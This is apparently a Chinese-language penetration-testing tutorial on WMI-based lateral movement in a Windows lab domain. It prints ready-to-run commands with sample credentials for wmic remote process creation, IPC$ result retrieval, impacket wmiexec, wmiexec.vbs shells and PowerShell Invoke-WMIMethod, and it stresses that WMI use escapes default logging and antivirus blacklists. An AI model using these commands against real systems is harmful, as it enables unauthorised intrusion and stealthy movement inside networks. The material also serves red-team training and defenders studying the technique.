WMI
自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。
通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。
WMI
wmic
使用目标系统的 cmd.exe 执行一条命令,并将结果保存在 C 盘的 ip.txt 文件中:
代码语言:javascript复制wmic /node:192.168.3.21 /user:godAdministrator /password:Admin12345 process call create "cmd.exe /c ipconfig >c:ip.txt"
去到 Windows Server 2008 域管的C盘下,可以发现生成的 ip.txt 文件:
我们可以通过建立 IPC$(2008域用户-->2008域管),使用 type 命令读取执行结果:
代码语言:javascript复制# 建立IPC$
net use \192.168.3.21 /u:godadministrator Admin12345
# type读取结果
type \192.168.3.21c$ip.txt
使用 wmic 远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令)
如果目标服务器开启了防火墙,wmic 将无法进行连接。此外 wmic 命令没有回显,需要使用 ipc$ 和 type 命令来读取信息。
PS:wmic 执行的是一些恶意文件程序,那么将不会留下攻击日志。
impacket 工具包的 wmiexec
下载地址:https://github.com/SecureAuthCorp/impacket
进入impacket目录安装依赖:
代码语言:javascript复制pip install .
进入到 examples 目录运行脚本获取远程目标系统的shell:
代码语言:javascript复制python wmiexec.py Administrator:Admin12345@192.168.2.25
wmiexec.vbs
wmiexec.vbs 可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell:
代码语言:javascript复制cscript.exe //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
输入如下命令,使用 wmiexec.vbs 在远程主机上执行单挑命令:
代码语言:javascript复制cscript.exe wmiexec.vbs /cmd 192.168.3.21 administrator Admin12345 "ipconfig"
对于一些运行时间比较长的命令,例如 ping、systeminfo,需要添加一个参数:“-wait 5000”,或者更长的时间间隔。
PS:wmiexec.vbs 已经被卡巴斯基,赛门铁克 等杀毒软件列入黑名单了。
Invoke-WMIMethod
利用 PowerShell 自带的 Invoke-WMIMethod,可以在远程系统主机上执行命令和指定程序。
代码语言:javascript复制#目标系统用户名
$User = "godadministrator"
#目标系统密码
$Password= ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.3.21" -Credential $Cred
这个时候远程目标域控机器上就会有一个 calc.exe 的进程:
参考文章:
https://blog.csdn.net/qq_27446553/article/details/46008473